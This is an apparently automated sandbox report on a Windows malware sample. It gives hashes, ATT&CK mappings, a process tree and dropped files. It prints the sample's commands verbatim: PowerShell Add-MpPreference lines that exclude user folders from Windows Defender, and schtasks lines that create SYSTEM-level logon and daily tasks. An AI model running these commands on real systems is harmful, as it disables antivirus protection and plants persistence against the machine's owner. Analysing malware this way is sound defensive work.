4a8e933462209a204f87c02e41e88e99541ccb85964a22d9762f443cf19af409

Analysis

max time kernel
150s
max time network
123s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
25/12/2024, 02:10

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General

Target

aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
Size

206KB
MD5

70c771952bc897446d3ddad90541a1e6
SHA1

b00b50a893e4552651c4a5c38cf4bb9aed7a101e
SHA256

aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337
SHA512

33d402397289c1a828079dfdaaf3966c4b9720ffb070eeba0d5c23f4a3c6c448e4a3fd3cba2f82c712252ce03d726daabd2c66e97f950a122ffb3d5799bae56d
SSDEEP

3072:UVqoCl/YgjxEufVU0TbTyDDalW49D9fMiSE9CCHGOn54yWgW9tFwyMJjVQbE/FGl:UsLqdufVUNDapD9fMs9u7

Score

10^/10

discovery evasion execution persistence

Malware Config

Signatures

Modifies visiblity of hidden/system files in Explorer 2 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3551809350-4263495960-1443967649-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 12 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2408	powershell.exe
2324	powershell.exe
2312	powershell.exe
2764	powershell.exe
2700	powershell.exe
596	powershell.exe
2360	powershell.exe
2816	powershell.exe
748	powershell.exe
1288	powershell.exe
684	powershell.exe
812	powershell.exe

Executes dropped EXE 11 IoCs

pid	Process
320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2260	icsys.icn.exe
768	explorer.exe
1404	spoolsv.exe
2516	svchost.exe
2440	spoolsv.exe
1640	sihost32.exe
2004	Services32.exe
1720	services32.exe
1656	icsys.icn.exe
2692	explorer.exe

Loads dropped DLL 9 IoCs

pid	Process
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2260	icsys.icn.exe
768	explorer.exe
1404	spoolsv.exe
2516	svchost.exe
320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2004	Services32.exe
2004	Services32.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	svchost.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\explorer.exe	svchost.exe
File opened for modification	C:\Windows\SysWOW64\explorer.exe	explorer.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File opened for modification	\??\c:\windows\resources\spoolsv.exe	explorer.exe
File opened for modification	\??\c:\windows\resources\svchost.exe	spoolsv.exe
File opened for modification	C:\Windows\Resources\Themes\icsys.icn.exe	Services32.exe
File opened for modification	C:\Windows\Resources\tjud.exe	explorer.exe
File opened for modification	C:\Windows\Resources\Themes\icsys.icn.exe	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
File opened for modification	\??\c:\windows\resources\themes\explorer.exe	icsys.icn.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 12 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icsys.icn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Services32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icsys.icn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2032	schtasks.exe
1976	schtasks.exe
2936	schtasks.exe
2040	schtasks.exe
1660	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2312	powershell.exe
2764	powershell.exe
2816	powershell.exe
2700	powershell.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
768	explorer.exe
2516	svchost.exe
2516	svchost.exe
2516	svchost.exe
2516	svchost.exe
2516	svchost.exe
2516	svchost.exe
2516	svchost.exe
2516	svchost.exe
2516	svchost.exe
2516	svchost.exe
2516	svchost.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
768	explorer.exe
2516	svchost.exe

Suspicious use of AdjustPrivilegeToken 14 IoCs

description	pid	Process
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	2816	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe
Token: SeDebugPrivilege	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
Token: SeDebugPrivilege	596	powershell.exe
Token: SeDebugPrivilege	748	powershell.exe
Token: SeDebugPrivilege	684	powershell.exe
Token: SeDebugPrivilege	1288	powershell.exe
Token: SeDebugPrivilege	2360	powershell.exe
Token: SeDebugPrivilege	2408	powershell.exe
Token: SeDebugPrivilege	2324	powershell.exe
Token: SeDebugPrivilege	812	powershell.exe
Token: SeDebugPrivilege	1720	services32.exe

Suspicious use of SetWindowsHookEx 18 IoCs

pid	Process
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
2260	icsys.icn.exe
2260	icsys.icn.exe
768	explorer.exe
768	explorer.exe
1404	spoolsv.exe
1404	spoolsv.exe
2516	svchost.exe
2516	svchost.exe
2440	spoolsv.exe
2440	spoolsv.exe
2004	Services32.exe
2004	Services32.exe
1656	icsys.icn.exe
1656	icsys.icn.exe
2692	explorer.exe
2692	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2568 wrote to memory of 320	2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	30
PID 2568 wrote to memory of 320	2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	30
PID 2568 wrote to memory of 320	2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	30
PID 2568 wrote to memory of 320	2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	30
PID 320 wrote to memory of 580	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	31
PID 320 wrote to memory of 580	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	31
PID 320 wrote to memory of 580	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	31
PID 580 wrote to memory of 2312	580	cmd.exe	33
PID 580 wrote to memory of 2312	580	cmd.exe	33
PID 580 wrote to memory of 2312	580	cmd.exe	33
PID 580 wrote to memory of 2764	580	cmd.exe	34
PID 580 wrote to memory of 2764	580	cmd.exe	34
PID 580 wrote to memory of 2764	580	cmd.exe	34
PID 580 wrote to memory of 2816	580	cmd.exe	35
PID 580 wrote to memory of 2816	580	cmd.exe	35
PID 580 wrote to memory of 2816	580	cmd.exe	35
PID 580 wrote to memory of 2700	580	cmd.exe	36
PID 580 wrote to memory of 2700	580	cmd.exe	36
PID 580 wrote to memory of 2700	580	cmd.exe	36
PID 2568 wrote to memory of 2260	2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	38
PID 2568 wrote to memory of 2260	2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	38
PID 2568 wrote to memory of 2260	2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	38
PID 2568 wrote to memory of 2260	2568	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	38
PID 2260 wrote to memory of 768	2260	icsys.icn.exe	39
PID 2260 wrote to memory of 768	2260	icsys.icn.exe	39
PID 2260 wrote to memory of 768	2260	icsys.icn.exe	39
PID 2260 wrote to memory of 768	2260	icsys.icn.exe	39
PID 768 wrote to memory of 1404	768	explorer.exe	40
PID 768 wrote to memory of 1404	768	explorer.exe	40
PID 768 wrote to memory of 1404	768	explorer.exe	40
PID 768 wrote to memory of 1404	768	explorer.exe	40
PID 1404 wrote to memory of 2516	1404	spoolsv.exe	41
PID 1404 wrote to memory of 2516	1404	spoolsv.exe	41
PID 1404 wrote to memory of 2516	1404	spoolsv.exe	41
PID 1404 wrote to memory of 2516	1404	spoolsv.exe	41
PID 2516 wrote to memory of 2440	2516	svchost.exe	42
PID 2516 wrote to memory of 2440	2516	svchost.exe	42
PID 2516 wrote to memory of 2440	2516	svchost.exe	42
PID 2516 wrote to memory of 2440	2516	svchost.exe	42
PID 768 wrote to memory of 1668	768	explorer.exe	43
PID 768 wrote to memory of 1668	768	explorer.exe	43
PID 768 wrote to memory of 1668	768	explorer.exe	43
PID 768 wrote to memory of 1668	768	explorer.exe	43
PID 2516 wrote to memory of 1976	2516	svchost.exe	44
PID 2516 wrote to memory of 1976	2516	svchost.exe	44
PID 2516 wrote to memory of 1976	2516	svchost.exe	44
PID 2516 wrote to memory of 1976	2516	svchost.exe	44
PID 320 wrote to memory of 3064	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	47
PID 320 wrote to memory of 3064	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	47
PID 320 wrote to memory of 3064	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	47
PID 3064 wrote to memory of 2936	3064	cmd.exe	49
PID 3064 wrote to memory of 2936	3064	cmd.exe	49
PID 3064 wrote to memory of 2936	3064	cmd.exe	49
PID 320 wrote to memory of 1640	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	50
PID 320 wrote to memory of 1640	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	50
PID 320 wrote to memory of 1640	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	50
PID 320 wrote to memory of 2004	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	51
PID 320 wrote to memory of 2004	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	51
PID 320 wrote to memory of 2004	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	51
PID 320 wrote to memory of 2004	320	aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe	51
PID 1640 wrote to memory of 1792	1640	sihost32.exe	52
PID 1640 wrote to memory of 1792	1640	sihost32.exe	52
PID 1640 wrote to memory of 1792	1640	sihost32.exe	52
PID 1792 wrote to memory of 596	1792	cmd.exe	54

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
"C:\Users\Admin\AppData\Local\Temp\aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2568
- \??\c:\users\admin\appdata\local\temp\aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
  c:\users\admin\appdata\local\temp\aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:320
- - C:\Windows\system32\cmd.exe
    "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:580
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2312
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2764
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2816
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2700
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services32" /tr '"C:\Users\Admin\AppData\Local\Temp\Services32.exe"' /RU "SYSTEM" & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3064
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "Services32" /tr '"C:\Users\Admin\AppData\Local\Temp\Services32.exe"' /RU "SYSTEM"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2936
- - C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of WriteProcessMemory
    PID:1640
  - - C:\Windows\system32\cmd.exe
      "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1792
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Telemetry'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:596
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1288
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2408
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:812
- - C:\Users\Admin\AppData\Local\Temp\Services32.exe
    "C:\Users\Admin\AppData\Local\Temp\Services32.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:2004
  - - \??\c:\users\admin\appdata\local\temp\services32.exe
      c:\users\admin\appdata\local\temp\services32.exe
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:1720
    - - C:\Windows\system32\cmd.exe
        
        "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%cd%' & powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & exit & exit
        5⤵
        
        PID:1896
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:748
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:684
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2360
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2324
    - - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Services32" /tr '"C:\Users\Admin\AppData\Local\Temp\Services32.exe"' /RU "SYSTEM" & exit
        5⤵
        
        PID:1032
      - C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "Services32" /tr '"C:\Users\Admin\AppData\Local\Temp\Services32.exe"' /RU "SYSTEM"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1660
  - - C:\Windows\Resources\Themes\icsys.icn.exe
      C:\Windows\Resources\Themes\icsys.icn.exe
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:1656
    - - \??\c:\windows\resources\themes\explorer.exe
        
        c:\windows\resources\themes\explorer.exe
        5⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2692
- C:\Windows\Resources\Themes\icsys.icn.exe
  C:\Windows\Resources\Themes\icsys.icn.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2260
- - \??\c:\windows\resources\themes\explorer.exe
    c:\windows\resources\themes\explorer.exe
    3⤵
    - Modifies visiblity of hidden/system files in Explorer
    - Executes dropped EXE
    - Loads dropped DLL
    - Adds Run key to start application
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:768
  - - \??\c:\windows\resources\spoolsv.exe
      c:\windows\resources\spoolsv.exe SE
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:1404
    - - \??\c:\windows\resources\svchost.exe
        
        c:\windows\resources\svchost.exe
        5⤵
        Modifies visiblity of hidden/system files in Explorer
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of SetWindowsHookEx
        Suspicious use of WriteProcessMemory
        
        PID:2516
      - \??\c:\windows\resources\spoolsv.exe
        
        c:\windows\resources\spoolsv.exe PR
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of SetWindowsHookEx
        
        PID:2440
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 02:12 /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:1976
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 02:13 /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2040
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "svchost" /tr "c:\windows\resources\svchost.exe" /sc daily /st 02:14 /f
        6⤵
        System Location Discovery: System Language Discovery
        Scheduled Task/Job: Scheduled Task
        
        PID:2032
  - - C:\Windows\Explorer.exe
      C:\Windows\Explorer.exe
      4⤵
      PID:1668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Services32.exe

Filesize
206KB

MD5
70c771952bc897446d3ddad90541a1e6

SHA1
b00b50a893e4552651c4a5c38cf4bb9aed7a101e

SHA256
aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337

SHA512
33d402397289c1a828079dfdaaf3966c4b9720ffb070eeba0d5c23f4a3c6c448e4a3fd3cba2f82c712252ce03d726daabd2c66e97f950a122ffb3d5799bae56d

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
cb5c5817f1aab42d57a15dedfbae93ff

SHA1
975e343ab43e85ad6e41325cdefc3914743d6244

SHA256
108ac153c475fc1395998386e845dd1964fd94f3413c8a39279e33dac8fea410

SHA512
adaa49154c17d0f998b9da0a70112acc91a9a1670fbdf30e698984f0e16578097ae62a4f0e4ae44c48bb0c53977ca11bb1f3a4c8fe7b80a0eb6ebf5af8ae89e9

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
da4fc6af414e6d53d4efdf8ad70de431

SHA1
3db8f155eeeabdb370c57ce284ba1a94eb9cafca

SHA256
5d17c9f27d2ebd2b8809837e97e3578f9e8d1b26293c50b339bf08aac98e6359

SHA512
50afe8ca2b2cd89365d344d85eaa06edd29a8ef61feb9ff60dd1e667ac60a2e830450f799c780918f858c91f9814ff9237edcd0257f298a7ad93079128907a19

Download Submit
\Users\Admin\AppData\Local\Temp\aefd0c77949ccb2192070d1fb122cad87c1fc3e3c841b1928e3763fadf286337.exe

Filesize
71KB

MD5
5552f88a40afa2e2fef5acbd590ac812

SHA1
5afef5451811830c1ec3108cd7ee66a0418a6186

SHA256
9a05d71fc8bbbf8beaa8f993cb0d75cbab06ac4c9bf20fe843cfa034dd56a47f

SHA512
6de5db9d4decc44d4dba8b9097b93664d4942f9753ae6c3fd0e92496677ac93f4c37c0ceb8a07cf1b0fbe777f78eedc522b256be14e1cedfa5c3ef2da5fabbde

Download Submit
\Users\Admin\AppData\Roaming\Microsoft\Telemetry\sihost32.exe

Filesize
11KB

MD5
d1f4a92a1672d7d22a90e2567523d03e

SHA1
a1683621e2103e1df1ce22def923e4ef62ddcd11

SHA256
48fd7864ad054ee98f30a32006af85dce9f47cc5fccf065e7da41624cf14f94b

SHA512
2e6e4dd8ed996ca9c95e7bf225f5b7b567f2a99ae13f637f23b2c959857f9e5ba5833e279b901c0a215cf5692dc6f3e28c47106cd386756e51f5f6f1298f247a

Download Submit
\Windows\Resources\Themes\explorer.exe

Filesize
135KB

MD5
ab83bd8d902e5fdb9992f885ebc660ad

SHA1
1a8f8e6f24cdc0c50310d1c9dcd102fc9efc5042

SHA256
